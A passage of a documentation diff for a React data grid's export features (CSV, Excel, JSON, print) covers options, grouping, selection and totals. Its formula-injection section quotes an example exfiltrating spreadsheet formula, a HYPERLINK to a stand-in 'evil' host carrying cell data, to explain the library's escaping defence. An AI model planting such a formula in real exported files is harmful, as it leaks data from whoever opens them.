+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
66
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
67
+ | `escapeFormulas` | `boolean` | `true` | Prefix text that starts with `=`, `+`, `-`, `@`, tab or CR with `'` (v3.0+). See [Formula injection](#formula-injection) |
68
+ | `bom` | `boolean` | `true` | Start the file with a UTF-8 byte-order mark so Excel reads non-ASCII text (v3.0+) |
69
+
70
+ ### Formula injection
71
+
72
+ Spreadsheet apps run any cell that starts with `=`, `+`, `-` or `@` as a formula, so user-entered text such as `=HYPERLINK("http://evil/?"&A2,"Click")` can leak data or run commands when someone opens the export ("CSV injection"). Since v3.0, `exportToCsv` and `exportToExcel` prefix such text — in cells, headers and group labels — with `'`, which makes it plain text. Plain signed numbers (`-12.50`) and text formatted from a number, date or boolean value are left alone. Pass `escapeFormulas: false` only when every exported value is trusted and you need live formulas.
65
73
 
66
74
  ---
67
75
 
68
76
  ## 2. `exportToExcel` (basic)
69
77
 
70
- HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format.
78
+ HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format. Excel refuses HTML content named `.xlsx`, so since v3.0 a `.xlsx` file name is renamed to `.xls` (with a console warning); use [`exportToExcelAdvanced`](#3-exporttoexceladvanced--recommended) for a real `.xlsx`. Text cells are marked as text (`mso-number-format:"\@"`), so Excel keeps leading zeros (`00501`), long ids and strings like `1-2` as they are; number, date and boolean columns are left for Excel to type.
71
79
 
72
80
  ```tsx
73
81
  import { exportToExcel } from '@opencorestack/opengridx';
@@ -85,12 +93,15 @@ exportToExcel(rows, columns, {
85
93
 
86
94
  | Option | Type | Default | Description |
87
95
  |---|---|---|---|
88
- | `fileName` | `string` | `'export.xlsx'` | Output filename |
89
- | `sheetName` | `string` | `'Sheet1'` | Sheet tab name |
96
+ | `fileName` | `string` | `'export.xls'` | Output filename (`.xlsx` is renamed to `.xls`) |
97
+ | `sheetName` | `string` | `'Sheet1'` | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`; cut to 31 characters |
90
98
  | `includeHeaders` | `boolean` | `true` | Include column header row |
91
- | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
99
+ | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
92
100
  | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
93
101
  | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
102
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
103
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
104
+ | `escapeFormulas` | `boolean` | `true` | Prefix formula-like text with `'` (v3.0+). See [Formula injection](#formula-injection) |
94
105
 
95
106
  ---
96
107
 
@@ -162,7 +173,8 @@ await exportToExcelAdvanced(rows, columns, {
162
173
  | `bodyFontSize` | `number` | `10` | Body font size (pt) |
163
174
  | `aggregationResult` | `object \| null` | — | Aggregation totals |
164
175
  | `aggregationModel` | `object \| null` | — | Aggregation function labels |
165
- | `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets |
176
+ | `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets. With no selection, such a sheet has only its header row (v3.0+) |
177
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
166
178
  | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` (v2.1+). See [Grouped export](#grouped-export-to-advanced-excel) |
167
179
  | `groupHeaderFillColor` | `string` | `'#e8eaf6'` | Group-header row fill (grouped export) |
168
180
  | `groupSubtotalFillColor` | `string` | `'#f0f4ff'` | Group-subtotal row fill (grouped export) |
@@ -171,10 +183,10 @@ await exportToExcelAdvanced(rows, columns, {
171
183
 
172
184
  | Option | Type | Default | Description |
173
185
  |---|---|---|---|
174
- | `name` | `string` | — | Sheet tab name (max 31 chars) |
175
- | `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include |
186
+ | `name` | `string` | — | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`, the name is cut to 31 characters, and a duplicate name (case-insensitive, also between two `summary` sheets) gets a ` (2)` suffix (v3.0+) |
187
+ | `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include. `'selected'` writes only `selectedRows`, none when nothing is selected |
176
188
  | `includeHeaders` | `boolean` | `true` | Include column header row |
177
- | `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom |
189
+ | `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom. On a `'selected'` sheet the totals are recomputed over the selected rows |
178
190
  | `autoFilter` | `boolean` | `true` | Excel filter dropdowns on header |
179
191
  | `frozenHeader` | `boolean` | `true` | Freeze row 1 |
180
192
  | `alternateRowColor` | `string \| false` | `'#f8fafc'` | Odd-row fill. `false` to disable |
@@ -183,10 +195,10 @@ await exportToExcelAdvanced(rows, columns, {
183
195
 
184
196
  | Option | Type | Description |
185
197
  |---|---|---|
186
- | `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'` |
198
+ | `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'`. Defaults: `type: 'number'` cells get `'#,##0'` for whole numbers and `'#,##0.##'` otherwise; `type: 'date'` gets `'yyyy-mm-dd'` |
187
199
  | `width` | `number` | Column width in characters (overrides auto) |
188
200
  | `alignment` | `'left' \| 'center' \| 'right'` | Horizontal alignment |
189
- | `embedImage` | `boolean` | If true, URL in cell is fetched and embedded as image |
201
+ | `embedImage` | `boolean` | If true, the cell's URL (after `valueGetter`) is fetched and embedded as an image. PNG, JPEG and GIF are embedded (detected from the bytes); other formats (SVG, WebP, AVIF) and failed fetches write the URL text instead |
190
202
  | `imageWidth` | `number` | Width of embedded image (px, default: 40) |
191
203
  | `imageHeight`| `number` | Height of embedded image (px, default: 40) |
192
204
 
@@ -204,11 +216,21 @@ await exportToExcelAdvanced(rows, columns, {
204
216
  });
205
217
  ```
206
218
 
207
- Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (label from the column's `groupingValueFormatter`, else `"Header: value"`), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
219
+ Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (the same label the grid shows — see [Group labels in exports](#group-labels-in-exports)), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies — except `count` and `unique`, which are plain integers (`'#,##0'`) rather than, say, a currency or date, and `min` / `max` of a date column, which are written as dates. When the first column has its own aggregate, its value is written instead of the `Subtotal` label. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
220
+
221
+ ### Group labels in exports
222
+
223
+ Every exporter (CSV, basic Excel, JSON, print, PDF and advanced Excel) writes the same group-header label the grid shows on screen:
224
+
225
+ 1. the entry's `groupLabel` — set by `apiRef.current.getGroupedExportRows()` from the grid's own label;
226
+ 2. else the grouping column's `groupingValueFormatter`;
227
+ 3. else `"field: value"`, the grid's documented default.
228
+
229
+ Before v3.0, only advanced Excel applied `groupingValueFormatter` (falling back to `"Header: value"`), and the other formats always wrote `"field: value"`.
208
230
 
209
231
  ### Summary Sheet
210
232
 
211
- Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet:
233
+ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet. Values are numeric cells (v3.0+; they were locale-formatted text before) in the column's `numFmt`, so with `columnStyles: { salary: { numFmt: '$#,##0' } }`:
212
234
 
213
235
  ```
214
236
  | Column | Function | Value |
@@ -218,6 +240,22 @@ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone agg
218
240
  | Perf. Score | AVG | 3.7 |
219
241
  ```
220
242
 
243
+ The flat `includeSummary` totals row is numeric in the same way.
244
+
245
+ ### Cell types
246
+
247
+ `exportToExcelAdvanced` writes native cells so Excel can sort, filter and sum them:
248
+
249
+ | Column / value | Written as |
250
+ |---|---|
251
+ | `type: 'number'` — numbers, and numeric strings such as `'42.50'` | Number |
252
+ | `type: 'boolean'` — booleans, and `'true'` / `'false'` strings | Boolean |
253
+ | `type: 'date'` — `Date`, epoch milliseconds, and ISO strings (`'2024-01-15'`, `'2024-01-15T10:30'`) | Date, with the same calendar day and wall-clock time the grid shows in the user's timezone |
254
+ | A value that is not of the column's type (`'n/a'` in a number column) | The `valueFormatter` text, else the value as text |
255
+ | `NaN`, `Infinity`, Invalid Date, `null` | Empty cell (or the `valueFormatter` text, which also runs for missing values) |
256
+ | Objects and arrays | JSON text. Objects are never handed to ExcelJS as-is, so `{ formula }`, `{ hyperlink }`, `{ richText }` or `{ error }` row data cannot become live formulas or links |
257
+ | Anything else | The `valueFormatter` text, else the value |
258
+
221
259
  ### Feature Comparison: Basic vs Advanced
222
260
 
223
261
  | Feature | `exportToExcel` | `exportToExcelAdvanced` |
@@ -253,6 +291,8 @@ exportToJson(rows, columns, {
253
291
  });
254
292
  ```
255
293
 
294
+ JSON is a data format, so values are written raw: `valueGetter` is applied, `valueFormatter` is not.
295
+
256
296
  When `aggregationResult` is provided, output shape becomes:
257
297
  ```json
258
298
  {
@@ -264,6 +304,8 @@ When `aggregationResult` is provided, output shape becomes:
264
304
  }
265
305
  ```
266
306
 
307
+ `aggregation.values` are the raw results (numbers). Before v3.0 they were locale-formatted strings such as `"8,320,000"`. With `groupedRows`, the output is `{ groups, grandTotal }`, and `subtotals` / `grandTotal` contain only exported columns (an `exportable: false` column's totals are left out, v3.0+).
308
+
267
309
  **`JsonExportOptions`:**
268
310
 
269
311
  | Option | Type | Default | Description |
@@ -271,8 +313,10 @@ When `aggregationResult` is provided, output shape becomes:
271
313
  | `fileName` | `string` | `'export.json'` | Output filename |
272
314
  | `pretty` | `boolean` | `true` | Pretty-print with indentation |
273
315
  | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
316
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
274
317
  | `aggregationResult` | `object \| null` | — | Append aggregation object |
275
318
  | `aggregationModel` | `object \| null` | — | Function labels |
319
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure; output becomes a nested `{ groups, grandTotal }` tree |
276
320
 
277
321
  ---
278
322
 
@@ -300,9 +344,13 @@ printGrid(rows, columns, {
300
344
  | Option | Type | Description |
301
345
  |---|---|---|
302
346
  | `title` | `string` | Print page title |
303
- | `selectedRows` | `(string\|number)[]` | Print only these row IDs |
347
+ | `selectedRows` | `(string\|number)[]` | Print only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
304
348
  | `aggregationResult` | `object \| null` | Append totals |
305
349
  | `aggregationModel` | `object \| null` | Label totals |
350
+ | `groupedRows` | `GridGroupedExportRow[]` | Grouped structure from `apiRef.current.getGroupedExportRows()` |
351
+ | `getRowId` | `(row) => GridRowId` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
352
+
353
+ The print window is a same-origin popup, so every value written into it — title, cells, headers, group labels, image URLs and alt text, error messages — is HTML-escaped. `type: 'image'` columns render an `<img>` only for `http(s):`, `data:image/…`, `blob:` and relative URLs; any other value (e.g. `javascript:…`) is printed as text.
306
354
 
307
355
  ---
308
356
 
@@ -310,13 +358,17 @@ printGrid(rows, columns, {
310
358
 
311
359
  ### Export with toolbar integration
312
360
 
361
+ `GridToolbar` has no built-in export action; render your own button with `renderExportButton`. Pass it through `slotProps.toolbar` rather than wrapping `GridToolbar` in an inline `slots.toolbar` function: the grid hands its filter, column and aggregation handlers to the slot component, and a wrapper that drops them leaves the toolbar without its search, Filters, Columns and Summaries controls.
362
+
313
363
  ```tsx
314
- import { DataGrid, GridToolbar, exportToExcelAdvanced } from '@opencorestack/opengridx';
364
+ import { useState } from 'react';
365
+ import {
366
+ DataGrid, GridToolbar, exportToExcelAdvanced,
367
+ type GridColDef, type GridRowModel, type GridRowSelectionModel,
368
+ } from '@opencorestack/opengridx';
315
369
 
316
- function MyGrid() {
317
- const [rows, setRows] = useState([...]);
318
- const [columns] = useState([...]);
319
- const [selected, setSelected] = useState([]);
370
+ function MyGrid({ rows, columns }: { rows: GridRowModel[]; columns: GridColDef[] }) {
371
+ const [selected, setSelected] = useState<GridRowSelectionModel>([]);
320
372
 
321
373
  return (
322
374
  <DataGrid
@@ -328,10 +380,17 @@ function MyGrid() {
328
380
  slots={{ toolbar: GridToolbar }}
329
381
  slotProps={{
330
382
  toolbar: {
331
- onExcelAdvanced: () => exportToExcelAdvanced(rows, columns, {
332
- fileName: 'report.xlsx',
333
- selectedRows: selected,
334
- }),
383
+ renderExportButton: () => (
384
+ <button
385
+ onClick={() => exportToExcelAdvanced(rows, columns, {
386
+ fileName: 'report.xlsx',
387
+ sheets: [{ name: 'Selected', rows: 'selected' }],
388
+ selectedRows: selected,
389
+ })}
390
+ >
391
+ Export to Excel
392
+ </button>
393
+ ),
335
394
  },
336
395
  }}
337
396
  />
@@ -355,6 +414,10 @@ await exportToExcelAdvanced(rows, columns, {
355
414
  });
356
415
  ```
357
416
 
417
+ ### Columns without a `valueFormatter`
418
+
419
+ CSV, Excel (HTML), print and PDF write the text the grid shows. Without a `valueFormatter`, that is the column type's default (v3.0): a `date` column writes the local calendar date, `boolean` writes Yes / No, and `singleSelect` writes the `valueOptions` label. JSON and the advanced XLSX export keep raw values.
420
+
358
421
  ### Respect `valueFormatter` for styled columns
359
422
 
360
423
  The advanced export keeps **raw values** for typed columns (`number`, `date`, `boolean`) so Excel can format them natively with `numFmt`. For `string` columns, `valueFormatter` is applied before writing.
@@ -364,7 +427,7 @@ const columns: GridColDef[] = [
364
427
  {
365
428
  field: 'salary',
366
429
  type: 'number', // ← raw number written to Excel
367
- valueFormatter: ({ value }) => `$${value.toLocaleString()}`, // used in CSV/print
430
+ valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`, // used in CSV/print
368
431
  },
369
432
  ];
370
433
 
@@ -379,7 +442,7 @@ await exportToExcelAdvanced(rows, columns, {
379
442
 
380
443
  ## Value Formatters
381
444
 
382
- All export functions respect `valueFormatter` and `valueGetter`:
445
+ Every exporter applies `valueGetter`. CSV, basic Excel, print and PDF write the `valueFormatter` text, as the grid does — since v3.0 the formatter also runs for `null` / `undefined` values, so placeholder text such as `'Unassigned'` or `'—'` is exported (a formatter that throws for a missing value exports an empty cell). JSON writes raw values, and advanced Excel writes typed columns natively (see the note below):
383
446
 
384
447
  ```tsx
385
448
  const columns: GridColDef[] = [
@@ -389,25 +452,34 @@ const columns: GridColDef[] = [
389
452
  },
390
453
  {
391
454
  field: 'salary',
392
- valueFormatter: ({ value }) => `$${value.toLocaleString()}`,
455
+ valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`,
393
456
  },
394
457
  ];
395
458
  ```
396
459
 
397
- > **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`.
460
+ > **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`; the formatter is used only for values that are missing or not of the column's type (see [Cell types](#cell-types)).
461
+
462
+ ### Aggregate values
463
+
464
+ Subtotal, grand-total and totals cells are formatted the same way in every text format (CSV, basic Excel, print, PDF):
465
+
466
+ - `count` and `unique` are plain counts formatted like the grid footer (`1,234`); the column's `valueFormatter` is not applied, because a count of a currency column is not an amount.
467
+ - `sum`, `avg`, `min` and `max` go through the column's `valueFormatter`. Its `row` argument is the record of aggregated values (like the grid's group rows), not a data row; if the formatter throws, the value is formatted like the grid footer instead of aborting the export. `min` / `max` of a `type: 'date'` column reach the formatter as a `Date`.
468
+ - When the first exported column has its own aggregate, its value is kept next to the label (`Subtotal: 300`, `TOTAL: $30.00`) instead of being overwritten.
398
469
 
399
470
  ---
400
471
 
401
472
  ## Excluding Columns
402
473
 
403
- You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. System columns are also automatically excluded.
474
+ You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. A few fields are also excluded automatically. Every other column you pass is exported, including hidden ones: pass `apiRef.current.getVisibleColumns()` to export what is on screen.
404
475
 
405
476
  | Method | Description |
406
477
  |---|---|
407
478
  | `exportable: false` | Set in `GridColDef` to manually exclude any column |
408
- | `__check__` | Native checkbox column (auto-excluded) |
409
- | `__actions__` | Common field for action buttons (auto-excluded) |
410
- | `isSpacer: true` | Spacer columns (auto-excluded) |
479
+ | `__checkbox_col__`, `__expand_col__`, `__reorder_col__` | The grid's checkbox, detail-panel and drag-handle columns (auto-excluded, v3.0+) |
480
+ | `__group__` | The row-grouping column from `groupingColDef` (auto-excluded; grouped exports write group labels from `groupedRows`) |
481
+ | `__check__`, `__actions__` | Legacy checkbox / action-button field names (auto-excluded) |
482
+ | `isSpacer: true` | Spacer columns (auto-excluded from every format since v3.0; before, only advanced Excel skipped them) |
411
483
 
412
484
  ### Example
413
485
  ```tsx
@@ -417,13 +489,26 @@ const columns: GridColDef[] = [
417
489
  {
418
490
  field: 'actions',
419
491
  headerName: 'Actions',
420
- exportable: false // This column won't appear in CSV/Excel/JSON/Print
492
+ exportable: false // This column won't appear in CSV/Excel/JSON/PDF/Print
421
493
  },
422
494
  ];
423
495
  ```
424
496
 
425
497
  ---
426
498
 
499
+ ## Selection, grouping and totals
500
+
501
+ Every exporter follows the same rules (v3.0+):
502
+
503
+ - **`selectedRows`** exports only the rows with those IDs, picked from the `rows` you pass. Pass all rows plus `selectedRows` rather than pre-filtering, so the exporter knows a selection was applied.
504
+ - **A non-empty selection takes precedence over `groupedRows`**: the selected rows are exported flat. (Before v3.0, CSV, basic Excel, JSON, print and PDF silently ignored the selection and exported every grouped row.) In `exportToExcelAdvanced`, `rows: 'selected'` sheets are flat and `rows: 'all'` sheets use `groupedRows`.
505
+ - **Totals follow the exported rows.** The grid's `aggregationResult` covers all filtered rows; when a selection narrows the export, the totals row is recomputed over the selected rows with the grid's own aggregation functions (it needs `aggregationModel`). Without a selection, `aggregationResult` is written as given — if you pass a subset of rows yourself (e.g. the current page), pass totals computed for that subset.
506
+ - Row selection is linear in the number of rows, so exporting "select all" on a large grid does not freeze the tab.
507
+ - **With a custom `getRowId`, pass it as the `getRowId` option.** `selectedRows` holds the grid's ids, and since v3.0 the grid no longer copies them onto `row.id`, so without the option a row that keeps its id in another field (or whose `id` field is not the key) is not matched.
508
+ - **`getGroupedExportRows()` exports every group**, collapsed or not, sorted and filtered like the screen; groups with no row left after the filter are omitted, and each subtotal is computed over the rows exported under it (v3.0+).
509
+
510
+ ---
511
+
427
512
  ## Performance Notes
428
513
 
429
514
  | Format | 10k rows | 100k rows |
@@ -447,7 +532,9 @@ All export functions work in:
447
532
 
448
533
  ## See Also
449
534
 
450
- - [Demo: Export Data](../demo/examples/ExportDemo.tsx)
451
- - [Demo: Advanced Excel Export](../demo/examples/AdvancedExcelExportDemo.tsx)
452
- - [Slots API Reference](./SLOTS_API.md)
453
- - [Theming Guide](./THEMING.md)
535
+ - [PDF Export](./pdf-export.md)
536
+ - [Toolbar Customization](./toolbar-customization.md)
537
+ - [Demo: Export Data](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/ExportDemo/ExportDemo.tsx)
538
+ - [Demo: Advanced Excel Export](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/AdvancedExcelExportDemo/AdvancedExcelExportDemo.tsx)
539
+ - [Slots API Reference](../customization/slots-api.md)
540
+ - [Theming Guide](../customization/theming.md)